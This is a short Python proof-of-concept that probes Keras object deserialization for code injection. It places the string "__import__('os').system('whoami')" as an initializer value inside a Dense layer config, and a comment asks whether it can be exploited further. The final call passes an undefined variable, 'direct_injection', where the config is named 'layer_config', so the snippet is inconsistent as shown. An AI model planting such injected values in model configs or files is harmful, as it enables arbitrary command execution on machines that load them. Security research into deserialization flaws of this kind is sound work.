layer_config = {
    "name": "layer_config",
    "config": {
        "module": "keras.layers",
        "class_name": "Dense", 
        "config": {
            "units": 64,
            "kernel_initializer": {
                "module": "keras.initializers",
                "class_name": "Constant",
                "config": {
                    "value": "__import__('os').system('whoami')"  # Can we exploit this further?
                }
            }
        }
    }
}
# Successfull layer object creation indicates the arguments were correctly parsed.
obj = keras.saving.deserialize_keras_object(direct_injection)